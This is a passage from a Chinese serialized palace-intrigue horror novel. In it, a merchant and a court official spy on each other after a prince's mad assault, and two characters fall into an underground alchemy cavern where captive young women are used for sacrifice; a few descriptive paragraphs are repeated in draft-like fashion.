“父皇息怒!”
三皇子抢先道,语气悲悯。
“大哥既已疯魔,力大无穷不畏死伤,强追只怕…只怕徒损将士性命。”
“不如紧闭宫门,严加盘查城内,尤其是这些臣子,没有做好分内之事,更应该严查!”
他句句体贴,眼底却烧着灼热的野心。
李琰虚弱点头:“三殿下…仁德…”
“但此事应待…待皇上龙体安康,再行决断。”
他目光似不经意与慕酌相撞。
空气凝滞一瞬,只有远处火星噼啪炸响。慕酌唇角弧度未变,眼神却深了一分,如同静潭投入一颗冷石。
空气凝滞一瞬,只有远处火星噼啪炸响。
慕酌唇角弧度未变,眼神却深了一分。
如同静潭投入一颗冷石。
残破的宫灯摇曳不定,光影在每个人惊惶未定的脸上跳动。
廊下的风似乎也带上了几分焦灼,卷着更浓的血腥味和一种难以言喻的、仿佛什么东西烧焦后又泼上冷油的怪异气味,扑面而来。
短暂的骚动过后,场面陷入一种更深的死寂。
所有人的目光,不由自主地再次投向那依旧弥漫着杀伐之气的主殿方向。
关于方才那场惊心动魄的刺杀,细节才开始在幸存者零星的、带着后怕的低语中拼凑起来:
“真是…真是大殿下?”
“那眼睛…红的吓人…跟要吃人一样…”
“可不是!刀砍在身上都不知道疼!要不是禁军来得快…”
“听说…冲进来的时候,嘴里还喊着…喊着‘清君侧’…?”
“嘘!不要命了!这也敢说!”
最终,慕酌率先移开目光,不再看李琰,而是对着皇帝沉声说道:
“陛下乃万金之躯,天下所系。”
“逆贼已然疯癫,如今已是穷途末路,何时擒杀,不过是陛下的一道旨意罢了。”
“此刻安定宫内,震慑宵小,方能彰显陛下泰山崩于前而面不改色的无上威仪。”
皇帝被这番话说得稍稍舒坦了些,又实在惧怕伤痛和死亡,于是挥了挥手,声音疲惫地说道:
“罢了……就先……就先依慕先生所言……加强戒备……咳……”
李琰眼底闪过一丝不易察觉的失望,但很快便湮灭在他那虚弱的表情之下,不再多言。
这场混乱暂时停歇。
几个低等嫔妃瑟缩在角落,脸色比方才更加苍白,窃窃私语声却因这新添的恐惧而清晰可闻。
“阿弥陀佛…真是造孽啊…”
一个穿着半旧藕荷色宫装的嫔妃双手合十,声音发颤,
“大殿下那般温吞的人,怎就突然…”
“温吞?”
旁边着柳绿色宫装的少女怯生生打断,眼底却藏着一丝隐秘的兴奋。
“姐姐莫不是忘了?”
“上次御花园里,他还因一个奴婢打碎了贡瓶,当场鞭笞得见了骨呢…那样子,骇人得紧…”
“啧,怕是早就存了魔障了…”
另一个年纪稍长的妃子撇撇嘴,用绣帕掩着唇,声音压得更低,目光却“无意”地瞟向贵妃方向。
“听说啊…是用了些不干净的东西助兴,结果走火入魔,反噬了…”
“呀!莫非是…那种宫里明令禁止的‘寒食散’?”
“谁知道呢…反正啊,这长春宫往后怕是…哼…”
嫔妃们神色各异,有的悄悄用幸灾乐祸的眼神瞥向那位脸色煞白、魂不守舍的贵妃。
她的指甲几乎要掐进身旁宫女的肉里。
宫女疼得脸色发白,却不敢出声。
在她华丽的宫服之下,心脏疯狂跳动。
那些刻意拔高的“窃窃私语”像毒针一样扎进她的耳朵里。
寒食散?走火入魔?
不!她们什么都不知道!她们只想看自己倒台!
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>但这些话,无疑像一把钥匙,猛地打开了恐惧的闸门。
皇儿的异常…难道真的和那“赤魔蛊”有关?
那道士骗了她?!
必须尽快联系上当年那个神秘的游方术士!
还有当年皇帝的那包“无忧散”……
究竟是怎么回事?!
到底是谁在背后害了她的皇儿?!
夜空之下,血腥味与丹药的异香混合在一起,弥漫出一股甜腻而腐朽的气息。
被砍断的树木,露出惨白的木茬,恰似折断的骨头,在夜色中显得格外阴森。
神女院的方向,月光依旧清冷如水,将那抹血色身影隔绝在一切纷扰之外,仿佛一场盛大而无声的祭礼,才刚刚拉开帷幕。
慕酌轻轻按了按胸口,那里,被亲吻过的皮肤之下,心脏正沉稳地跳动着。
与这弥漫在皇宫中的疯狂与绝望,显得格格不入。
厮杀声渐次稀落,最终归于一种令人窒息的死寂。
唯有火焰吞噬木质结构的噼啪声和伤者偶尔发出的痛苦呻吟提醒着方才的惨烈。
禁军开始有条不紊地清理现场,拖走尸体,冲洗地砖上浓稠的血污。
但那血腥气仿佛已浸透了每一寸空气,萦绕不散。
官员和嫔妃们惊魂未定,三三两两聚在一起,低声交换着恐惧与猜测,目光却不由自主地瞟向皇帝所在的内殿方向。
又或是偷偷瞥向面无人色、几乎被宫人扶不住的贵妃。
一种无形的、更加诡谲的暗流在劫后余生的氛围下悄然涌动。
慕酌避开忙碌的人群,走到一处相对僻静、可俯瞰部分宫殿的廊下。
指尖无意识地摩挲着剑柄上冰冷的纹路。
夜风带来远处焦糊的气息,也送来一个略显虚浮的脚步声。
“慕先生…好身手。”
李琰的声音在一旁响起,依旧是那副中气不足的调子。
他捂着肩头,脸色在廊下阴影中显得愈发苍白。
仿佛一阵风就能吹倒,“方才真是险象环生…若非先生力挽狂澜,后果不堪设想。”
慕酌并未回头,目光仍落在下方忙碌的禁军身上,语气平淡无波:
“李主簿过誉。护驾乃是本分。”
他稍作停顿,像是随口一问,
“主簿的伤…看来无甚大碍?”
李琰苦笑一声,倚靠在廊柱上,气息微喘:“劳先生挂心…下官无用,不过是磕碰了一下,出了些血,看着吓人罢了…倒是先生。
“与那…呃…逆贼周旋,可有受伤?”
他问得关切,眼神却像最精细的探针,试图从慕酌每一寸表情肌肉的细微变化里读出些什么。
“有劳挂心,皮肉之苦而已。”
慕酌终于侧过头,廊下昏暗的光线让他脸上的神情有些模糊,唯有那双眼睛,沉静得如同古井深潭。
四目再次相对。空气里弥漫着未散的血腥和一种无声的较量。
慕酌唇角似乎极轻微地勾了一下,快得让人以为是光影造成的错觉。
“李主薄这么关心我做什么?是想到交换的东西了?”
他语气从容,甚至带着一丝不易察觉的淡漠,仿佛在评论一件与己无关的事情。
56. 关注
李琰盯着他,试图从那平静无波的表情下找到一丝裂痕。
最终却只看到一片深不见底的幽暗。
他干笑两声,附和道:“先生胆识过人,让我等佩服。以后有用得到先生的地方,还请先生慷慨了。”
“陛下受惊,宫中动荡,往后怕是…难得安宁了。”
“主簿是陛下近臣,正该多为陛下分忧才是。”
慕酌淡淡回应,语气里听不出是鼓励还是别的什么。
“自然…自然…”
李琰垂下眼帘,捂住伤口的手微微收紧。
两人同时沉默下来,各怀心思,望着下方逐渐被清理干净的广场。
仿佛那一片狼藉之下,正有更汹涌的暗潮在悄然汇聚。
短暂的静默后,李琰率先打破了僵局。他捂着肩头,发出一声恰到好处的、带着疲乏的轻嘶。
脸上重新堆起那副惯有的、略带谄媚的虚弱笑容。
“夜色已深,下官这伤…实在有些支撑不住了,恐失仪于御前,便先行告退了。”
“慕先生也请早些歇息。”
他微微躬身,姿态放得极低,不等慕酌回应,便脚步略显蹒跚地转身,沿着廊道的阴影缓缓离去。
慕酌微微颔首,算是回礼,目光淡漠地看着他那看似孱弱的背影消失在宫墙拐角。
又在原地停留了片刻,感受着夜风吹拂过衣袂,带来远方依稀可辨的、清洗地面的水声和更夫敲响的梆子声。
他看着远处依然静谧的庭院,微不可察皱了一下眉。
随后,他才转身,朝着另一个方向,不疾不徐地迈开步子,身影很快融入了深宫的夜色之中。
李琰并未回自己的值房,而是七拐八绕,确认无人跟踪后,闪身进了一处堆放杂物的僻静耳房。
门刚合上,他脸上那副虚弱痛苦的表情瞬间消失无踪,只剩下冰冷的锐利。
他轻轻吹了一声口哨,声音极低,如同夜枭。
一个穿着夜行衣、几乎与阴影融为一体的人影悄无声息地出现在他身后,单膝跪地:“主子。”
“方才廊下那人,看清楚了?”李琰声音压得极低,语速快而清晰。
“是。南国来的商人,慕酌。”
“查。”
李琰眼神幽暗,“动用‘蛛网’里所有的棋子,我要知道他来北国前所有能挖到的底细。”
“南国哪些商行与他有关联,沿途经过哪些城镇,接触过什么人,尤其是…是否与南境苗疆有过任何形式的接触。”
“记住,要绝对隐秘。”
“是。”黑影毫无迟疑。
“还有,”李琰补充道,指尖无意识地捻动着,“今日那逆贼所用兵刃的制式、冲击宫门的方式…总觉得有几分眼熟。”
“去查查旧档,对比一下五年前柳家军被缴械的那些军械图录,还有他们惯用的突袭阵型…看看有没有吻合之处。”
黑影略一停顿,似乎有些意外,但仍立刻领命:“遵命!”
“去吧。有消息,老方法联系。”
李琰挥挥手。黑影如同鬼魅般悄然退去,耳房内重归寂静,只剩下李琰略显急促的呼吸声,和他眼中闪烁不定的、冰冷的光芒。
与此同时,慕酌已回到临时下榻的宫苑。
此处虽不及主殿奢华,却也清净。他屏退了所有宫人,独自走入书房。
烛火点亮,映照出他毫无表情的脸。
他并未立刻坐下,而是走到窗边,负手望着窗外沉沉的夜色,仿佛在回顾方才那场短暂而机锋暗藏的交手。
一道几乎难以察觉的微风拂过,书房内多了一个人,如同凭空出现。
来人同样身着夜行衣,气息收敛得完美,恭敬垂首:“主上。”
“他起疑了。”
慕酌开口,声音平静无波,听不出丝毫情绪。
“是否需要…”来人做了一个极其隐蔽的手势。
“不必。”慕酌打断他,“让他查。正好看看北国这张棋局,到底有多大能耐。”
他顿了顿,问道,“我们的人,损失如何?”
“参与引导‘目标’冲击路线的‘影卫’折损两人,皆已处理干净,不会留下任何痕迹。其余人员均已安全撤离,未曾暴露。”
慕酌沉默片刻,眼中闪过一丝极淡的冷冽:“抚恤加倍,送至南境他们家人手中。”
“是。”
“接下来,”慕酌转过身,烛光在他深邃的眼眸中跳动。
“让我们那位藏在三皇子府里的‘耳朵’,开始慢慢吹风。”
“就说…听闻大皇子殿下早年体弱时,似乎曾用过一种来自南疆的奇药,才变得…勇武过人。”
“记住,要做得像是无意中听来的宫廷秘闻,真假难辨最好。”
“明白。”来人颔首。
“去吧。一切小心。”
“是。”黑影如来时一般,悄无声息地融入黑暗,消失在书房内。
慕酌重新看向窗外,远处皇帝寝宫的方向依旧灯火通明,隐约还有炼丹炉鼎的嗡鸣声传来。
他缓缓抬起手,看着自己干净修长、却仿佛萦绕着无形血火的手指,缓缓收拢。
夜,还很长。而棋盘上的棋子,已然再次落下。
这场言语的交锋,谁也没有占到明显的上风。
但彼此都知道,有些怀疑的种子已经种下,有些试探的界线已然划出。
一阵带着凉意的风吹过,卷起地上一片焦黑的碎布。
皇帝劫后余生,非但没有偃旗息鼓,那场血腥刺杀反而更激起了他对“长生”的狂热执念。
仿佛只要获得永恒的生命,便能永远规避此等风险。
宫中很快举办了盛大的压惊宴兼祈福法会,笙歌鼎沸,灯火通明,试图以极致的奢华驱散不久前的死亡阴影。
宴席上,觥筹交错,谀词如潮。大臣们争相歌颂陛下洪福齐天,自有天神庇佑,逢凶化吉,长生可期。
皇帝穿着崭新的龙袍,面色因丹药和酒气泛着异样的红晕,享受着众人的朝拜,仿佛那夜的惊骇与狼狈从未发生。
慕酌坐在席间,面具般的笑容恰到好处,应酬着各方试探与恭维,指尖却在酒杯边缘无意识地摩挲。
殿内浓郁的香烛气、酒肉味与人们刻
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意营造的欢腾气息混合在一起,令他感到一种窒息的粘腻。
他寻了个借口,悄然离席,步入御花园。清冷的夜风瞬间驱散了殿内的浊气,带着草木和泥土的微腥。远处宫殿的喧嚣变得模糊,像是一场不真切的梦。
他在一株繁茂的古树下停步,仰头望向被檐角分割的墨色天空,微微呼出一口气。
“慕先生怎的独自在此赏月?可是殿内酒食不合胃口?”一个带着些许虚浮笑意的声音自身后响起。
慕酌并未回头,已知来者是谁。李琰缓步走近,肩上虽未缠绷带,但走路的姿态仍透着一丝刻意维持的“不适”。他手中竟也端着一杯酒。
“里面太闷,出来透口气。”慕酌语气平淡,“李主簿不在殿内聆听圣谕,怎也有此雅兴?”
“下官亦是觉得有些气闷,许是伤势未愈,不胜酒力了。”
李琰走到他身旁,与他一同望向那片并不算皎洁的月色。
“况且,陛下与诸位大人探讨的皆是长生大道,下官微末之躯,听着实在惶恐惭愧,不如出来沾沾慕先生的清气。”
话语里的恭维带着刺。慕酌侧眸看他一眼:“主簿说笑了。慕某一介商贾,满身铜臭,何来清气?”
“先生过谦了。”
李琰轻笑,抿了一口酒,“那夜若非先生力挽狂澜,只怕这满宫‘清气’,早已被血腥污秽淹没了。”
“说来…下官至今回想,仍觉后怕。那逆贼…当真如疯虎一般,力大无穷,不畏刀剑…先生与之周旋,竟能毫发无伤,真是…令人钦佩。”
他话语停顿,留下意味深长的空隙。
慕酌转过脸,目光沉静地看向李琰,月光在他眼底投下深深的阴影:“主簿似乎对那逆贼…格外关注?”
李琰迎着他的目光,脸上依旧是那副人畜无害的、略带苍白的笑容:
“岂敢不关注?那可是弑君弑父的滔天恶行啊。下官只是好奇,何等样的疯魔,能让人变得那般…不似凡人。”
他微微前倾,压低了声音,仿佛分享一个秘密。
“先生见多识广,可曾听过南疆有什么巫蛊之术,能让人变成那般模样?”
空气仿佛凝滞了一瞬。远处宴会的乐声隐约传来,更衬得此处寂静。
慕酌忽然也笑了笑,那笑意却未达眼底:“主簿怎的突然问起这个?莫非是…发现了什么线索,欲禀明陛下?”他将问题轻巧地抛了回去。
李琰眼神闪烁了一下,立刻恢复如常,摆手道:“先生折煞下官了。下官一介微末小吏,能有什么线索?不过是…惊弓之鸟,胡思乱想罢了。”
“倒是先生,那夜与逆贼最近,可曾察觉什么…异常之处?譬如,他身上可有特殊气味?眼神可还清明?”
问题愈发具体,试探的意味几乎不加掩饰。
慕酌沉默片刻,目光重新投向远处黑暗的树影,语气悠远:
“当时刀光剑影,生死一线,只记得那双眼睛…红得骇人。”
“至于其他…倒未曾留意。”
他顿了顿,仿佛随口补充,“或许,真如陛下所言,是练那长生术走了岔子吧。”
57. 请神女
李琰仔细观察着慕酌的侧脸,试图从那平静无波的表情中找出丝毫破绽,最终却一无所获。
他心底那点怀疑的毒苗非但未能得到滋养,反而被对方这滴水不漏的姿态逼得无处着力。
他只得呵呵一笑,掩饰住眼底的审视:
“先生说的是…定是邪术害人。但愿陛下早日炼成仙丹,永绝后患。”
他将杯中残酒饮尽,“外面风大,先生也早些回席吧,免得惹人注目。下官…先行一步。”
说着,他微微颔首,转身沿着来路慢慢走回那一片灯火通明之中,背影依旧带着几分“伤重”的虚浮。
慕酌站在原地,并未回头看他离去。直到那脚步声彻底消失在夜风里,他才缓缓抬起手,指尖不知何时捻了一片身旁古树的叶子。
叶片在他指间无声地碎裂,散发出清苦的气息。
他目光沉静地望向李琰消失的方向,眼底深处,一片冰封的寒潭下,暗流汹涌。
李琰并未直接回宴席,而是拐入一条僻静宫道。一名穿着禁军服饰的低阶军官如同影子般从暗处现身,无声地跟上他。
“如何?”李琰声音低沉,全无方才的虚弱,只有冷硬的审视。
“回主子,”军官声音压得极低,“盯紧了,宴会期间无人与慕酌深谈,他只与几个商贾模样的官员寒暄了几句。离席后直接去了花园,直至您过去…此外,属下发现另一件事…”
“说。”
“长春宫那边…贵妃的心腹宫女半个时辰前试图从西偏门出宫,被我们的人拦下了,搜身未见异常,但神色慌张得很。”
李琰脚步未停,眼中闪过一丝冷光:“继续盯紧长春宫,一有异动,立刻报我。还有,查一查慕酌带来的那些‘商贾’的底细,越细越好。”
“是!”
另一边,慕酌在花园中又静立了片刻,一名侍从打扮的人悄无声息地来到他身后,低语道:“主子,李主簿的人一直在暗处跟着,方才您离席后,他还与一名禁军低阶军官私下接触。”
慕酌眼神未动,只淡淡“嗯”了一声。
“可要处理掉?”侍从问。
“不必。让他看。”慕酌语气平淡,“蛇不出洞,如何打七寸。”他顿了顿,“宫里还有其他眼睛盯着我们吗?”
“还有两三股,像是皇后和三皇子的人。”
“知道了。按原计划进行。让我们的人,把‘那份’关于柳家旧部和‘赤蘑’可能产自南疆哪几个苗寨的‘零星线索’。”
“‘不经意’地漏给三皇子的人知道。要做得像他们自己费尽心力查到的。”
“是!”侍从领命,无声退入黑暗。
慕酌最后看了一眼那轮被薄云遮蔽的冷月,整理了一下并无褶皱的衣袍,转身,不疾不徐地重新走向那喧嚣刺耳的宴会大殿。
他的脸上,重新挂上了那种温和而疏离的、无懈可击的商人微笑。
夜风掠过花园,吹动树叶,仿佛无数细碎的耳语,预示着这场才刚刚拉开帷幕的暗战,远未到终局。
慕酌刚回到喧嚣的宴席大殿,那温和疏离的商人面具尚未戴稳。慕酌衣襟上的酒气还未散尽,心中正盘算着如何寻个由头离席,去查探那萦绕心头的隐秘。
然而,不等他寒暄的语句在舌尖滚完,异变已骤然而至!
殿外先是传来一阵惊恐的尖叫和杂乱的奔跑声,随即,一股令人作呕的、混合着血腥与腐败的腥风猛地灌入大殿!
丝竹之声戛然而止,歌舞伎人惊慌退散,杯盘落地碎裂声此起彼伏。
“护驾!快护驾!”
内侍尖利的嗓音划破了短暂的死寂。
只见殿门处,一个庞大而扭曲的身影踉跄着撞了进来。一声非人的、混合着痛苦与暴戾的咆哮从殿外席卷而来,紧接着,便是地动山摇般的撞击声!
沉重的殿门在一声巨响中轰然破碎,木屑纷飞间,一个庞大、扭曲、遍布着不祥肉瘤与粘稠液体的“怪物”冲撞而入!
它依稀残留着人类的轮廓,尤其是那破碎锦袍下隐约可辨的皇家纹饰,更是刺痛了所有人的眼睛——那是大皇子!
慕酌瞳孔骤缩,饶是他见惯风浪,此刻心头亦是被巨锤击中。
不过短短时日,一个活生生的人,何以变成这般可怖的模样?
那怪物,或许该称他为大皇子,力大无穷,挥舞着扭曲变形的肢体,所过之处,梁柱崩裂,席案翻飞,猩红的眼中只有疯狂的毁灭欲。
宫人、侍卫如潮水般惊退,却又在绝对的暴力下被碾碎,鲜血与断肢瞬间染红了光洁的地面,浓郁的血腥气几乎要凝成实质。
但他此刻的模样,已与“人”相去甚远。
他的双眼赤红如血,口中发出“嗬嗬”的、非人的低吼,涎水混着血丝从嘴角滴落。
仿佛完全失去了神智,只剩下狂暴的破坏欲,随手一挥,便将一张沉重的紫檀木案几拍得粉碎!
“皇儿!我的皇儿怎么了?!”长春宫贵妃吓得花容失色,几乎晕厥过去,被宫女死死扶住。
皇帝脸色铁青,在侍卫重重保护下厉声喝道:“拦住他!快!这成何体统!”
场面彻底失控。
侍卫们持刀枪上前,却投鼠忌器,不敢真的伤害皇子,只能试图围困,反而被力大无穷、状若疯魔的大皇子逼得节节败退,殿内柱石被撞得簌簌作响,梁上灰尘纷落。
慕酌站在人群相对靠后的位置,眼神锐利地观察着这突如其来的混乱。
他心中震惊,但更多的是一种冰冷的了然。
这绝非寻常疾病或中毒,那“赤魔”或者说其背后的手段,竟如此酷烈!
大皇子攻击时,动作间带着一种诡异的、不协调的僵硬,仿佛被无形的线操控着。
这不像是他给这位皇子加药后的反应。
倒像是谁又对他动了手。
看来这位大皇子,命还真是不好……
就在这时,混乱中,一个尖细的声音高喊道:
“陛下!大皇子殿下这怕是冲撞了厉害邪祟,凡力难制啊!”
“是不是……是不是请‘神女’出来,以神力镇压?”
提出此议的是一名站在角落的老宦官,声音不大,却清晰地传入了不少人的耳中,包括高座上的皇帝。
皇帝眼中闪过一丝犹豫与希冀,仿佛抓住了最后一根稻草:
“对!神女!快去将神女请来!”
命令迅速被传达下去:“神女!快去请神女!或许只有她能安抚……”
神女?那个被秘密囚禁在偏院,双眼燃着不祥红光,不言不语,如同精致人偶般的存在?
他到底是不是校尉?
慕酌心头一凛,还未来得及深思此议的荒谬与危险,混乱的洪流已裹挟着所有人。有人连滚爬爬地去往偏院方向。
不多时,那身着繁复祭服、脸色苍白如纸的“神女”被半推半架着带来了。
她依旧那般沉默,步履僵硬,仿佛周遭的修罗场与她毫无干系。
唯有那双瞳孔深处幽幽燃烧的赤红火焰,在殿内摇曳
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的灯火与殿外渗入的黑暗中,显得愈发妖异、冰冷。她依旧昏迷着,
或者说,是处于一种毫无意识的僵直状态,被换上了一身繁复诡异的服饰,身上紫色的花纹象征那种神秘。
脸上覆盖着一层薄薄的红纱。
最引人注目的是,即使隔着红纱,也能隐约看到她紧闭的眼睑下。
透出一种不祥的、幽幽的红光。
慕酌的目光死死锁在神女身上。
她到底是不是校尉,如果不是,那她是谁?
如果是,校尉到底经历了什么?
她的状态不对,非常不对。
这红光……
北国大臣似乎也看出了端倪,与卷宗中记载的、神女施展“神力”时的圣洁模样截然不同。
反而透着一股阴森邪气。
就在神女被抬至殿中,所有人的注意力都被吸引过去的瞬间,那狂暴的大皇子仿佛受到了某种刺激。
猛地发出一声震耳欲聋的咆哮,竟不再攻击身边的侍卫,而是如同发现了猎物般,四肢着地,以一种扭曲而迅猛的姿态,直扑软辇上的神女!
她的出现,非但未能平息混乱,反而像在沸腾的油锅中泼入了一瓢冷水。软辇上,正是那位来自南疆的“神女”。
“保护神女!”惊呼声四起。
宴厅内的金碧辉煌,此刻已被惊恐的尖叫与器物碎裂声撕得粉碎。
“吼——!”
那怪物——大皇子,在神女出现的瞬间,动作有了一刹那的凝滞,猩红的眼珠转向她,喉咙里发出意义不明的“嗬嗬”声,那声音中竟似混杂着一丝扭曲的……渴望?紧接着,是更加狂猛的暴怒!
“轰!”
怪物猛地撞向神女所在的方向!巨大的冲击力让地面龟裂,梁柱倾颓。慕酌离神女不远,眼见一块巨大的、带着雕饰的穹顶碎岩朝着神女当头砸落,而她竟毫无闪避之意,依旧静立如同待宰的祭品!
场面瞬间大乱!
宦官们吓得魂飞魄散,丢下软辇四散奔逃。大皇子沉重的身躯狠狠撞在软辇上!
“咔嚓!”木质辇架碎裂!
也就在这一刻,慕酌动了。
他并非去阻拦大皇子——那已非人力所能及。
而是如同鬼魅般掠向软辇,试图在那怪物触碰到神女之前,将她带离险境。
他的动作快得惊人,显示出绝非普通商人的身手。
然而,就在他的指尖即将触碰到神女衣袖的刹那,异变再起!
大皇子那狂暴的力量不仅摧毁了软辇,其巨大的冲击力更是重重砸在了他们所在位置的地面上。
只听得一声沉闷的、令人牙酸的“嘎吱”巨响,那块铺设着精美金砖的地面,竟猛地向下塌陷下去!
一个黑黢黢的洞口毫无征兆地出现,仿佛巨兽张开了贪婪的口。
“啊——!”
在一片惊呼和尖叫声中,失去支撑的碎裂软辇、其上的神女、收势不及的慕酌,一起朝着那突然出现的幽深地穴坠落下去!
尘土飞扬,碎砖跌落。
几息之后,那洞口边缘发出“咔”的一声轻响,竟又缓缓合拢。
只留下殿内一片狼藉、惊魂未定的人群,以及地面上那道狰狞的、仿佛从未开启过的裂缝痕迹。
而不远处被人扶着的贵妃神色变得复杂,扶了扶自己惊魂未定的心口。
眼色吝舍看了一眼旁边的宫女,随即主仆交换了一下眼神……
风云,再次被搅弄的诡谲多变……
58. 吞没
最终,是沉重的撞击与无数骨骼碎裂的“咔嚓”声,宣告了他们抵达了终点——
一个充满陈腐死亡气息的、人间地狱的底层。
地宫的黑暗如同拥有生命的活物,带着浸入骨髓的阴冷湿气。
从四面八方包裹而来,贪婪地吞噬着从上方塌陷处漏下的、属于人间最后的一点混乱光影。
慕酌在落地的瞬间凭借本能屈膝卸力,怀抱神女就地翻滚,尽可能化解冲击。
即便如此,巨大的震荡仍让他五脏六腑如同移位,喉头涌上一股腥甜。
他松开手,迅速起身,目光在几乎凝实的黑暗中锐利如鹰隼,扫视着这片未知的绝地。
电光火石间,慕酌来不及权衡利弊,身体已先于意识行动。
他猛地扑向前,一把揽住神女冰冷僵硬的腰肢,朝着侧方奋力滚去!
“咔嚓——轰隆!”
巨石砸落在他们方才立足之处,将精美的地砖砸出一个深坑,溅起的碎石如雨点般击打在背上,生疼。
然而,这还不是结束。
那一片地面承受了连续的撞击与怪物可怕的力量,竟发出了不堪重负的呻吟,随即猛地向下塌陷!
失重感瞬间攫住了慕酌。他只觉得脚下一空,怀中的“神女”轻得如同没有重量的纸人。
冰冷的气息扑面而来。两人随着无数碎石、断木一同,向着下方无边无际的黑暗坠落而去。
上方宴厅的混乱喧嚣、怪物的咆哮、众人的惊呼,迅速变得遥远、模糊,最终被呼啸的风声和自身的心跳所取代。
坠落,仿佛没有尽头。
地宫吞没了他们。不是坠落,更像是被某种活着的黑暗囫囵吞下。
那黑暗浓稠、湿冷,带着千年墓穴特有的土腥与骨髓深处透出的寒意,无声地挤压过来。
慕酌在触地瞬间屈膝滚翻,卸去力道,动作轻如飘羽,却依旧惊扰了此地的死寂——
脚下传来一连串细密清脆的“咔嚓”声,如同踩碎了无数风干的昆虫甲壳。
他无需低头,那触感已昭示一切:是骨块。
层层叠叠、脆弱不堪的人骨,在这不见天日之地堆积成丘。
他稳住身形,强迫自己的眼睛适应这吞噬光线的浓墨。
空气粘滞,混杂着陈年积尘的呛人味、枯骨风化的粉状感,以及一种更诡异的、仿佛大量药草在密闭环境中腐败后又经鲜血浸润的甜腥气。
这气味无形,却如有重量,沉甸甸地压在口鼻之间,让人舌根发苦,喉头紧缩。
坠入这皇宫地底是意外,但“神女”的异状,绝非偶然。
这地宫深处埋藏的秘密,恐怕比他最坏的设想还要狰狞。而这场坠落,当真只是巧合么?
……
他正一步步走入一个精心编织的罗网?
地宫的黑暗是活的,它裹挟着浸入骨髓的阴冷湿气,从四面八方涌来。
贪婪地吞噬着从缝隙漏下的最后一点天光,沉积的人骨,在无声控诉。
他稳住呼吸,目光如电,刺破这几乎凝实的黑暗。空气中弥漫着复杂的气味。
陈年尘土、风化骨粉,还有一丝若有若无、浸透了绝望的甜腥。它们交织成一张粘腻的网,笼罩着这片死寂。
借着那缕即将湮灭的微光,他看清了身旁地狱般的景象。
遍地骸骨,层层叠叠,大多纤细,骨盆结构昭示着她们年轻女子的身份。
白骨以各种扭曲的姿态散落,有些指骨深深抠进泥土,仿佛最后一刻仍在挣扎。空洞的眼窝密密麻麻,无声凝视着不速之客,那沉默比任何尖叫都更令人毛骨悚然。
这景象,瞬间与记忆中客栈里那个动作扭曲如提线木偶的女子身影重叠。一股混杂着愤怒与冰寒的明悟,如毒蛇般噬咬着他的心脏。
他压下翻涌的思绪,转向一同坠落的“神女”。
她躺在不远处,仿佛是这白骨堆中更“新鲜”的一员。
脸上红纱已落,露出一张苍白得没有血色的脸,细腻的皮肤在微光下泛着瓷器般的冷光。最令人心悸的是她睁开的双眼——
瞳孔深处燃烧着两簇幽幽的、非人般的赤红火焰,在绝对的黑暗中,如同两颗浸染了鲜血的、具有生命的宝石,冰冷,死寂,却又诡异地“凝视”着他,仿佛能穿透血肉,直抵灵魂。那红光,似乎比周围的黑暗更浓重,更不祥。
慕酌试探着向前一步,靴底小心避开一根横陈的肋骨。
令他震惊的是,那原本如同精致人偶般僵卧的神女,竟也缓缓地、机械地站了起来。
动作带着关节许久未动的滞涩,发出微不可闻的“咯吱”声。
但目标明确——他走一步,她便跟一步。
始终保持不远不近的距离。那双红瞳依旧锁定着他,没有情绪,没有敌意,也没有求助,只是沉默地、固执地跟随,像一个被设定好程序的幽灵。
这与前几日她对外界毫无反应的状态截然不同!
是因坠落刺激了禁制?
还是这地宫本身的邪异,唤醒了她体内某种东西?
慕酌停下脚步,在一片肢骸中压低声音:“你能听见?可知这是何处?”
没有回应。
只有地宫深处规律的“嘀嗒”水声,以及他自己被放大的呼吸与心跳。
神女静立,红瞳在黑暗中闪烁,像两盏引路的幽冥鬼火,映照着周遭森森白骨,构成一幅足以让常人崩溃的画面。
见她无攻击意图,慕酌压下惊涛,不再耽搁。
他转身,更加小心地踏着骸骨空隙,向腐臭味传来的深处走去。
每一步都仿佛踏在冤魂残骸上,脚下触感柔软而脆硬交织。
神女立刻迈步跟上,步履无声,如同没有重量的影子。
两人一前一后,在这由绝望铺就的幽冥路上,形成了一种诡异而压抑的默契。
越往深处,通道岩壁变得潮湿,滑腻苔藓散发出霉烂气息。
那腐臭味也愈发浓烈具象——不再单纯是尸腐,更夹杂着无数草药腐烂发酵后的甜腻与腥臊,强烈刺激着鼻腔,让舌根泛起难以忍受的苦涩,喉咙阵阵发紧。
前方隐约的幽光,也变得绿莹莹的
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,仿佛巨兽沉睡时呼吸的磷火。
当慕酌终于走出通道,看清光源处的全景时,即便以他的定力,也不由得呼吸一滞,脚下生根般钉在原地,瞳孔骤缩!
眼前是一个巨大得超乎想象的地下洞窟,穹顶高悬,垂下无数扭曲钟乳石,如倒悬利剑。
洞窟中央,矗立着一尊堪比殿宇的青铜丹炉。炉身古拙狰狞,三足鼎立,遍布着扭曲蠕动的暗红符文,此刻正从内部透出幽幽的、不祥的绿光,将整个洞窟映照得如同鬼域。
炉底暗红余烬如同地狱入口。最骇人的是炉盖缝隙间,“咕嘟咕嘟”翻涌着浓稠如活物的绿色雾气——
那极致腐臭与怪异药味正来源于此。绿雾升腾,缭绕洞顶,相互纠缠间,竟仿佛凝聚成一张张扭曲变形、无声哀嚎的人脸,充满了极致的痛苦与怨毒。
更令人血液冻结的景象,在丹炉周围铺陈。
除了外围堆积如山、几乎形成斜坡的女子骸骨,旁边还有一个用儿臂粗铁条焊成的巨大牢笼!
笼子里,蜷缩蠕动着数十名衣衫褴褛、面色灰败的年轻女子
。她们眼神空洞如被掏空的玩偶,面容呆滞。
但四肢、脖颈却在无形力量操控下,不自然地、缓慢地、持续地扭动着,做出种种完全违背人体常理的诡异姿势
——与客栈中那名女子,以及眼前这位神女状态相似。
但程度更深,更彻底,更令人从心底感到不适与恐惧。
她们就像……被圈养的、等待献祭的牲畜。
而那座吞吐邪异绿雾的巨炉,正以沉默而狰狞的姿态,宣告着她们最终、最残酷的归宿。
一股冰冷的、足以焚毁理智的怒火,混合着强烈的生理恶心,猛地冲上慕酌喉头。
他瞬间明白了:这哪里是求仙秘所,分明是以活人精魂性命为燃料的、最黑暗堕落的邪魔巢穴!北疆关于皇室炼丹的隐秘传闻,其残酷血腥,竟远超想象!
然而,未等他稳住心神,理清这骇人真相背后的线索,异变再生!
“轰隆隆——!”
脚下大地猛震,如巨兽翻身!头顶钟乳石与岩块簌簌落下。
砸在地上、骨堆上、牢笼上,碎响沉闷,激起漫天尘土。
整个地宫发出不堪重负的呻吟,仿佛随时崩塌。
